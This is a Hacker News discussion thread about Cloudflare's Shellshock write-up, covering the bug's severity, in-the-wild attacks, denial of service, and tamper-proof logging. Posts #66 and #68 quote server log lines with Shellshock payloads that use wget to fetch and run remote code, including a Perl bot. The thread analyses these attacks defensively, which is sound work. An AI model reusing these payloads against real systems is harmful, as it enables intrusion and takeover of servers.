Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Inside Shellshock: How hackers are using it to exploit systems

blog.cloudflare.com

Post reply on HN
Print view View original

61–70 of 94 posts

Re: Inside Shellshock: How hackers are using it to exploit systems

#61

Post by efdee »

lutusp wrote: post #41
morgante wrote: post #35

Perhaps someone could enlighten me, but even after reading this and several other articles about Shellshock I really don't understand why we should be so concerned. As I understand it, user input somehow has to make its way to a shell for Shellshock to matter. I honestly can't imagine why 99.9999% of websites would ever do that—even without Shellshock, it sounds horribly insecure and dangerous to let user input anywh…

> Perhaps someone could enlighten me, but even after reading this and several other articles about Shellshock I really don't understand why we should be so concerned. Definitely read on. > Heartbleed was scary because modern, highly secure websites were vulnerable. Is that even remotely the case with Shellshock? Yes, because if Bash were sufficiently secure, then setting the value of an environment variable would be…

You should delete your answer. First of all, /etc/passwd files haven't contained passwords for at least 15 to 20 years now, on most systems. Second of all, the way querystring/form parameters are passed to CGI systems makes it extremely unlikely that your example would work. And third, you're all but answering the question that was asked.

Re: Inside Shellshock: How hackers are using it to exploit systems

#62

Post by buro9 »

angelofm wrote: post #58
buro9 wrote: post #32

Earlier quoted context omitted.

I've also seen some in the wild, and I'm behind CloudFlare. CloudFlare have stopped the attacks reaching us now, but a few got through on the 29th September (this is a Pro account). I'm not sure precisely when the CloudFlare protection started, but all servers involved were patched as soon as the patches were available (before the first attacks reached my servers). The log file entries: 200.91.29.35 - - [29/Sep/2014:…

It's interesting to note that some code has been wrote from Portuguese/Brasilian devs and other parts from an Italian one, which leads to speculation that it was not a one band man but instead a group.

I figured it was just the work of script kiddies. The exploit is such an easy thing to do that people are just cobbling together scripts and having a go.

Re: Inside Shellshock: How hackers are using it to exploit systems

#63

Post by lutusp »

efdee wrote: post #61
lutusp wrote: post #41

Earlier quoted context omitted.

> Perhaps someone could enlighten me, but even after reading this and several other articles about Shellshock I really don't understand why we should be so concerned. Definitely read on. > Heartbleed was scary because modern, highly secure websites were vulnerable. Is that even remotely the case with Shellshock? Yes, because if Bash were sufficiently secure, then setting the value of an environment variable would be…

You should delete your answer. First of all, /etc/passwd files haven't contained passwords for at least 15 to 20 years now, on most systems. Second of all, the way querystring/form parameters are passed to CGI systems makes it extremely unlikely that your example would work. And third, you're all but answering the question that was asked.

It's just an example, and I chose the example precisely because it can't be used in modern times, and I explained that the example wouldn't work. Why should I offer working examples for black-hat hackers in a public forum?

It graphically shows the vulnerability produced by Shellshock, but without offering a real working example for the script kiddies to emulate.

On this Cloudflare page --

https://blog.cloudflare.com/inside-shellshock/

-- that explains the Shellshock bug, they use the same example I gave -- reading /etc/passwd. And for the same reason -- it's an example of a vulnerability, but won't give black-hats any useful information. They don't explain that this won't actually produce anything useful, but I do.

And for this I get downvoted? Terrific.

Re: Inside Shellshock: How hackers are using it to exploit systems

#64

Post by cesarb »

d4mi3n wrote: post #40
leoh wrote: post #23

Great article. I'm surprised there were no examples of fork bombs in the DOS section, though : ) http://en.m.wikipedia.org/wiki/Fork_bomb

Not much point in killing a computer you've just unlocked for yourself. Much more profitable to use it as a spam node or launching platform for TCP/UDP/DNS DDOS attacks.

Killing the computer is an easy way to prevent other people from "using it as a spam node or launching platform". I can easily see some misguided gray hat forkbombing exploitable servers to prevent their use by blackhats. Which is why I, too, expected to see the classical bash fork bomb being used in these attacks.

The DoS using "sleep 20", however, sounds like the kind of thing some people consider "harmless fun" (like the many people using LOIC some time ago); it takes the site down, but does no permanent damage and clears itself after a while.

Re: Inside Shellshock: How hackers are using it to exploit systems

#65

Post by lutusp »

morgante wrote: post #54
lutusp wrote: post #48

Earlier quoted context omitted.

> You didn't address my concerns at all. You asked a question, I provided the answer and example code to the actual question that you asked . > My question was why any reasonably designed modern web app would ever have user input anywhere near a shell. Shall I post the same answer again? Not all modern web apps guard against the kind of extreme vulnerability that Shellshock represents, and that no reasonable person w…

> You asked a question, I provided the answer and example code to the actual question that you asked. No, you must emphatically did not . This is the question I asked: > Heartbleed was scary because modern, highly secure websites were vulnerable. Is that even remotely the case with Shellshock? Put more clearly, I was asking for an example of a modern, well-developed website which would be vulnerable to Shellshock. (I…

> This doesn't change my opinion that there's no reason modern websites are opening shells—and nothing you've said provides evidence of that.

What? Evidence of your opinion? I live in reality, one not informed by opinions, and there are plenty of sites that were designed to be secure, but that didn't anticipate something like Shellshock -- many existing PHP pages, as just one example.

Setting environment variables is very common, and safe if the shell is safe, because a sound shell won't do anything with an environment variable setting action beyond setting an environment variable.

Consider a prudent design that sanitizes the entry to limit itself to an alphanumeric variable name and a value provided by the user, as in my example. The left-hand side of the assignment is not an issue because the program checks its content for malicious intent. The right-hand side is safe if Bash is safe. If Bash is safe and if rudimentary precautions are taken, any variable-assigned text string is benign.

Not so for Shellshock, which is why it caused such consternation among Website operators.

Here's an online reference that makes the same points I do, and even uses the same example of reading /etc/passwd:

https://blog.cloudflare.com/inside-shellshock/

Re: Inside Shellshock: How hackers are using it to exploit systems

#66

Post by jonasvp »

angelofm wrote: post #60
guylhem wrote: post #8

It is in the wild. As seen on my machine, on a domain name that I use only for email at the moment: XXX.access.log:174.143.168.121 - - [30/Sep/2014:12:40:21 -0400] "GET //cgi-bin/bash HTTP/1.0" 404 168 "-" "() { :;}; /bin/bash -c \x22wget ellrich.com/legend.txt -O /tmp/.apache;killall -9 perl;perl /tmp/.apache;rm -rf /tmp/.apache\x22" The payload is a perl script, which I posted to http://pastebin.ca/2850380 I sugges…

First thing I noticed was this: "Legend Bot [2011] DO NOT FUCKIN SHARE!" on the comments, does this mean they have been running this since 2011? I hope not.

The bot does not have anything to do with shellshock by itself. The shellshock exploit is just used to download the (generic) Legend Bot in order to remotely send commands to the machine.

Re: Inside Shellshock: How hackers are using it to exploit systems

#68

Post by drzaiusapelord »

bjnord wrote: post #6

Searching for ":;" in my Apache logs, I'm definitely seeing some hits -- although the majority are security organizations doing wide scans to see how many systems are vulnerable.

Some interesting results here:

8.37.217.196 - - [30/Sep/2014:14:25:48 +0000] "GET http://www.example.com/ HTTP/1.1" 200 57344 "() { :;};echo content-type:text/plain;echo;echo QwaAqdKyMkdAiaZBos;echo;exit" "() { :;};echo content-type:text/plain;echo;echo QwaAqdKyMkdAiaZBos;echo;exit"

93.103.21.231 - - [30/Sep/2014:20:23:00 +0000] "GET http://example.com/cgi-sys/entropysearch.cgi HTTP/1.1" 301 0 "-" "() { :;}; /usr/bin/wget http://taxiairportpop.com/s.php?s=http://example.org/cgi-sys...

Not sure what the first one is doing, but the second one seems to be an exploit in a search engine for self-hosted websites and apparently a part of cpanel (or at least deployable via it).

Re: Inside Shellshock: How hackers are using it to exploit systems

#70

Post by fragmede »

unfamiliar wrote: post #34
segmondy wrote: post #22

That /^cleanlogs/ just made me cringe. Holy crap.

I feel like there should be some way to verify that logs have not been tampered with. For example, including a checksum of the file up until that point on each line. Unfortunately they could just be rewritten after the log has changed. The only real solution I can see is a dedicated logging server, giving true write-only or append-only access.

> The only real solution I can see is a dedicated logging server, giving true write-only or append-only access.

Yup. It's not that hard to setup, and while running it in a VM isn't as secure as can be, it's still a step in the right direction.

Post reply on HN